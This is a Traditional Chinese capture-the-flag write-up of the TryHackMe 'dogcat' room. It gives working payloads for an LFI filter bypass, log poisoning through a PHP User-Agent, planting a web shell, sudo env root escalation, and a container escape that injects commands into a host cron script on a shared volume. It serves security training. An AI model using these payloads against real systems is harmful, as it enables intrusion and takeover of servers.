TryHackMe dogcat writeup (zh-TW)
題目資訊
- 平台: TryHackMe
- 房間名稱: dogcat
- 難度: Medium
- 目標: 獲取 4 個 Flag
- 連結: https://tryhackme.com/room/dogcat
- 備註: 這一個靶機,作者有跟Claude AI深入討論容器逃逸的漏洞,也一併補充在writeup內,希望可以幫助理解,因為也是作者第一次碰到容器逃逸的靶機!
偵察階段
初始訪問
訪問網站 http://10.201.126.43/,發現一個簡單的狗貓圖片展示網站:
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<a href="/?view=dog"><button>A dog</button></a>
<a href="/?view=cat"><button>A cat</button></a>
Step 1: 發現 Local File Inclusion (LFI) 漏洞
1.1 測試基本 LFI
嘗試基本的路徑遍歷:
/?view=../../../../etc/passwd
結果:Sorry, only dogs or cats are allowed.
分析:存在過濾機制,必須包含 "dog" 或 "cat" 字串
1.2 利用錯誤訊息偵察
嘗試觸發錯誤訊息:
/?view=dog'
錯誤訊息:
Warning: include(dog'.php): failed to open stream: No such file or directory
in /var/www/html/index.php on line 24
關鍵發現:
- 後端使用
include()函數 - 自動添加
.php擴展名 - 文件位於
/var/www/html/index.php
Step 2: 多層過濾繞過
2.1 繞過關鍵字檢查
嘗試 1:路徑遍歷 + 保留關鍵字
/?view=dog/../../../../../etc/passwd
結果:
Warning: include(dog/../../../../../etc/passwd.php): failed to open stream
✅ 成功繞過 "dog/cat" 檢查
❌ 但仍被加上 .php 擴展名
2.2 繞過 .php 擴展名限制
嘗試 2:使用 PHP Filter 讀取源碼
/?view=php://filter/convert.base64-encode/resource=dog/../index
成功!返回 base64 編碼的源碼
解碼後得到核心代碼:
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
// 關鍵:ext 參數可控!
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
重大發現:ext 參數可以覆蓋默認的 .php 擴展名!
2.3 完整繞過 - 讀取任意文件
最終 Payload:
/?view=dog/../../../../../etc/passwd&ext=
設置 ext= 為空字串,就不會添加 .php 了!
成功讀取 /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Step 3: Log Poisoning 攻擊
3.1 讀取 Apache 日誌
/?view=dog/../../../../../var/log/apache2/access.log&ext=
成功!看到日誌內容,包含所有 HTTP 請求記錄
3.2 日誌投毒 - 注入 PHP 代碼
原理:Apache 日誌會記錄 User-Agent,我們可以在 User-Agent 中注入 PHP 代碼
在本地使用 curl 注入:
curl "http://10.201.126.43/" -A "<?php system(\$_GET['cmd']); ?>"
檢查日誌:
/?view=dog/../../../../../var/log/apache2/access.log&ext=
會看到我們的 PHP 代碼被記錄在日誌中!
3.3 測試命令執行
/?view=dog/../../../../../var/log/apache2/access.log&ext=&cmd=id
輸出:uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE 成功! ✅
Step 4: 建立持久 Web Shell
4.1 創建 Shell 文件
為了方便操作,創建一個持久的 web shell:
/?view=dog/../../../../../var/log/apache2/access.log&ext=&cmd=echo '<?php system($_GET["c"]); ?>' > /var/www/html/shell.php
4.2 使用 Web Shell
現在可以直接訪問:
http://10.201.126.43/shell.php?c=whoami
http://10.201.126.43/shell.php?c=ls -la /var/www/html
更方便的命令執行方式!
Step 5: 獲取 Flag 1
建立 web shell 後,列出網站目錄:
http://10.201.126.43/shell.php?c=ls -la /var/www/html發現:
-rw-r--r-- 1 www-data www-data 51 Mar 6 2020 flag.php讀取 flag.php:
http://10.201.126.43/shell.php?c=cat /var/www/html/flag.phpFlag 1: THM{Redacted} ✅

Step 6: 獲取 Flag 2
搜尋 flag 文件
http://10.201.126.43/shell.php?c=find /var/www -name "*flag*"
找到:/var/www/flag2_QMW7JvaY2LvK.txt
讀取:
http://10.201.126.43/shell.php?c=cat /var/www/flag2_QMW7JvaY2LvK.txt
Flag 2: THM{Redacted} ✅
Step 7: 提權到容器內的 Root
7.1 檢查 Sudo 權限
http://10.201.126.43/shell.php?c=sudo -l
輸出:
Matching Defaults entries for www-data on ad9cebb53160:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on ad9cebb53160:
(root) NOPASSWD: /usr/bin/env
重大發現:可以無密碼執行 /usr/bin/env!
7.2 利用 env 提權/usr/bin/env 可以用來執行任意命令,且以 root 身份執行!
測試提權:
http://10.201.126.43/shell.php?c=sudo /usr/bin/env /bin/bash -c 'whoami'
輸出:root ✅
現在所有命令都可以用 root 執行了!
7.3 獲取 Flag 3
http://10.201.126.43/shell.php?c=sudo /usr/bin/env /bin/bash -c 'ls -la /root'
http://10.201.126.43/shell.php?c=sudo /usr/bin/env /bin/bash -c 'cat /root/flag3.txt'
Flag 3: THM{Redacted} ✅
Step 8: 容器逃逸 - 理解環境
8.1 確認在 Docker 容器內
http://10.201.126.43/shell.php?c=ls -la /
發現:.dockerenv 文件存在
http://10.201.126.43/shell.php?c=hostname
輸出:ad9cebb53160(典型的容器 ID 格式)
確認:我們在 Docker 容器內!
8.2 什麼是容器?
容器 vs 虛擬機對比
虛擬機架構:
┌─────────────────────────────────────────────────┐
│ 應用 A │ 應用 B │ 應用 C │
│─────────│─────────│───────── │
│ Guest OS│ Guest OS│ Guest OS (完整作業系統 x3) │
├─────────────────────────────────────────────────┤
│ Hypervisor (VMware, VirtualBox) │
├─────────────────────────────────────────────────┤
│ Host OS (宿主作業系統) │
└─────────────────────────────────────────────────┘
容器架構:
┌─────────────────────────────────────────────────┐
│ 應用 A │ 應用 B │ 應用 C (只有應用層) │
├─────────────────────────────────────────────────┤
│ Docker Engine (容器引擎) │
├─────────────────────────────────────────────────┤
│ Host OS (宿主作業系統) ← 共用核心! │
└─────────────────────────────────────────────────┘
關鍵差異:
- 虛擬機:每個都有完整的 OS,完全隔離
- 容器:共用宿主機的核心(Kernel),只是進程隔離
8.3 容器的隔離機制
Docker 使用兩個 Linux 功能來實現隔離:
1. Namespaces(命名空間)
讓每個容器覺得自己是獨立的系統
2. Cgroups(控制組)
限制容器能用的資源
但本質上:容器只是宿主機上的一個特殊進程!
8.4 什麼是容器逃逸?
定義:從容器內突破隔離,獲取宿主機的控制權
正常情況:
┌────────────────────────────────────┐
│ 宿主機 (Host) │
│ │
│ ┌──────────────────────────┐ │
│ │ 容器 (Container) │ │
│ │ │ │
│ │ 你在這裡 (容器的 root) │ │
│ │ ✗ 無法訪問宿主機 │ │
│ │ │ │
│ └──────────────────────────┘ │
│ │
│ 真正的 root、flag4 在這裡! │
└────────────────────────────────────┘
容器逃逸後:
┌────────────────────────────────────┐
│ 宿主機 (Host) │
│ │
│ ✓ 你逃出來了! │
│ ✓ 可以訪問宿主機了! │
│ ✓ 可以讀 /root/flag4.txt 了! │
└────────────────────────────────────┘
Step 9: 全面環境偵察
在嘗試逃逸前,我們需要全面評估有哪些可能的逃逸向量。
9.1 檢查特權容器
http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /proc/self/status | grep CapEff
輸出:CapEff: 00000000a80425fb
分析:
- 特權容器的值應該是
0000003fffffffff - 我們的值不同 → 不是特權容器 ❌
9.2 檢查 Docker Socket
http://10.201.126.43/shell.php?c=sudo /usr/bin/env ls -la /var/run/docker.sock
結果:文件不存在 → 沒有 Docker Socket ❌
9.3 檢查核心版本
http://10.201.126.43/shell.php?c=uname -r
輸出:4.15.0-96-generic
分析:
- Ubuntu 18.04 的核心
- 版本 > 4.8.3 → Dirty COW 漏洞不適用 ❌
9.4 檢查詳細 Capabilities
http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /proc/self/status
分析結果:
CapEff: 00000000a80425fb
解碼後有的能力:
- CAP_CHOWN
- CAP_DAC_OVERRIDE
- CAP_FOWNER
- CAP_SETGID / CAP_SETUID
- CAP_NET_BIND_SERVICE
... (Docker 默認集合)
沒有的危險能力:
❌ CAP_SYS_ADMIN (無法做 cgroup 逃逸)
❌ CAP_SYS_MODULE (無法載入核心模組)
❌ CAP_SYS_PTRACE (無法追蹤進程)
9.5 檢查掛載點
http://10.201.126.43/shell.php?c=sudo /usr/bin/env mount | grep -v "proc\|sys\|dev"
發現:
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/...)
分析:標準的 Docker overlay 文件系統
9.6 偵察總結
╔════════════════════════════════════════════╗
║ Container Escape Assessment Report ║
╠════════════════════════════════════════════╣
║ 特權容器 (Privileged) │ ❌ 不是 ║
║ Docker Socket 掛載 │ ❌ 沒有 ║
║ CAP_SYS_ADMIN │ ❌ 沒有 ║
║ CAP_SYS_MODULE │ ❌ 沒有 ║
║ 核心漏洞 (Dirty COW) │ ❌ 版本太新 ║
║ Volume Mount │ ?待確認 ║
╠════════════════════════════════════════════╣
║ 結論:這是一個配置良好的容器 ║
║ 需要尋找其他逃逸路徑 ║
╚════════════════════════════════════════════╝
Step 10: 發現容器逃逸點
10.1 檢查可疑目錄
http://10.201.126.43/shell.php?c=sudo /usr/bin/env ls -la /opt
發現:
drwxr-xr-x 2 root root 4096 Apr 8 2020 backups
疑問:在最小化的容器中,/opt/backups 很不尋常!
10.2 檢查 backups 目錄
http://10.201.126.43/shell.php?c=sudo /usr/bin/env ls -la /opt/backups
輸出:
total 2892
drwxr-xr-x 2 root root 4096 Apr 8 2020 .
drwxr-xr-x 1 root root 4096 Oct 13 07:17 ..
-rwxr--r-- 1 root root 69 Mar 10 2020 backup.sh
-rw-r--r-- 1 root root 2949120 Oct 13 07:42 backup.tar
關鍵觀察:
backup.tar的時間是07:42- 容器啟動時間是
07:17 - 說明有什麼在持續更新這個文件!
10.3 分析 backup.sh
http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/backup.sh
內容:
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
重要發現:
- 腳本在容器內:
/opt/backups/backup.sh - 但目標路徑是:
/root/container/backup/backup.tar - 這個路徑在容器內不存在!
推論:這個腳本是被宿主機執行的!
Step 11: 理解 Volume Mount 逃逸
11.1 Docker Volume Mount 原理
啟動容器時的命令(推測):
docker run -v /root/container/backup:/opt/backups ...
↑宿主機路徑 ↑容器內路徑
效果:兩個路徑指向同一個物理位置
宿主機的文件系統 容器的文件系統
────────────────── ──────────────────
/root/ /opt/
└─ container/ └─ backups/ ← 映射到這裡
└─ backup/ ───────────────────────┘
├─ backup.sh (同一個文件)
└─ backup.tar
11.2 宿主機的 Cron 任務
宿主機上有個定時任務:
# /etc/crontab (在宿主機上)
* * * * * root /root/container/backup/backup.sh
↑ ↑
以 root 每分鐘執行一次
身份執行
11.3 攻擊流程圖
┌─────────────────────────────────────────────────┐
│ 容器 (Container) │
│ │
│ 1. 我們修改 backup.sh │
│ echo "惡意命令" >> /opt/backups/backup.sh │
│ │
│ /opt/backups/backup.sh │
│ │ │
│ │ (Docker Volume Mount) │
│ ↓ │
└─────────────────────────────────────────────────┘
│
│ 同一個文件
↓
┌─────────────────────────────────────────────────┐
│ 宿主機 (Host) │
│ │
│ /root/container/backup/backup.sh │
│ │ │
│ │ 2. Cron 定期執行這個腳本 │
│ ↓ │
│ 以宿主機的 root 權限執行! │
│ │ │
│ │ 3. 我們注入的命令被執行 │
│ ↓ │
│ cat /root/flag4.txt > /root/.../flag4.txt │
│ │ │
│ │ (Docker Volume Mount) │
│ ↓ │
└─────────────────────────────────────────────────┘
│
│ 同一個文件
↓
┌─────────────────────────────────────────────────┐
│ 容器 (Container) │
│ │
│ 4. 我們讀取結果 │
│ cat /opt/backups/flag4.txt │
│ │
│ 容器逃逸成功! │
└─────────────────────────────────────────────────┘
Step 12: 執行容器逃逸
12.1 探測宿主機環境
注入命令到腳本:
http://10.201.126.43/shell.php?c=sudo /usr/bin/env bash -c 'echo "ls -la /root > /root/container/backup/host_root.txt" >> /opt/backups/backup.sh'
確認修改:
http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/backup.sh
新內容:
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
ls -la /root > /root/container/backup/host_root.txt
12.2 等待 Cron 執行
等待 1-2 分鐘(宿主機 cron 通常每分鐘執行一次)
12.3 讀取宿主機信息
http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/host_root.txt
成功輸出(宿主機的 /root 目錄):
total 40
drwx------ 6 root root 4096 Apr 8 2020 .
drwxr-xr-x 24 root root 4096 Apr 8 2020 ..
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwxr-xr-x 5 root root 4096 Mar 10 2020 container
-rw-r--r-- 1 root root 80 Mar 10 2020 flag4.txt ← 找到了!
...
容器逃逸成功!我們能讀取宿主機的文件了! ✅
12.4 獲取最終 Flag
修改腳本讀取 flag4:
http://10.201.126.43/shell.php?c=sudo /usr/bin/env bash -c 'echo "cat /root/flag4.txt > /root/container/backup/flag4_content.txt" >> /opt/backups/backup.sh'
等待執行後讀取:
http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/flag4_content.txt
Flag 4: THM{Redacted} ✅
技術要點深入解析
1. Local File Inclusion (LFI) 漏洞
漏洞原理
// 不安全的代碼
include $_GET['file'] . '.php';
// 攻擊者可以:
// 1. 路徑遍歷:?file=../../../etc/passwd
// 2. 使用 wrapper:?file=php://filter/...
2. Log Poisoning 攻擊
攻擊流程
1. LFI 讀取日誌文件
↓
2. 在日誌中注入 PHP 代碼
(通過 User-Agent, Referrer, Cookie 等)
↓
3. 再次包含日誌文件
↓
4. PHP 代碼被執行 → RCE
常見日誌位置
# Apache
/var/log/apache2/access.log
/var/log/apache2/error.log
# Nginx
/var/log/nginx/access.log
/var/log/nginx/error.log
# SSH
/var/log/auth.log
# Mail
/var/log/mail.log
3. Sudo 提權 - /usr/bin/env
為什麼危險?
/usr/bin/env 的設計目的是執行命令:
env VARIABLE=value command args
當有 sudo 權限時:
sudo /usr/bin/env /bin/bash
# 直接獲得 root shell!
4. 容器逃逸技術
Volume Mount 逃逸(本題方法)
場景:
# 容器啟動時
docker run -v /host/path:/container/path ...
條件:
- 宿主機有定時任務執行掛載目錄中的腳本
- 容器內可以修改該腳本
利用:
- 修改共享腳本
- 等待宿主機執行
- 命令在宿主機執行
優點:不需要特殊權限
缺點:需要等待定時任務觸發
經驗分享
這個靶機教學價值在於:
- 漸進式攻擊:從 Web → RCE → 提權 → 逃逸
- 概念理解:理解容器不是虛擬機
- 真實場景:Volume Mount 是常見的錯誤配置
Member discussion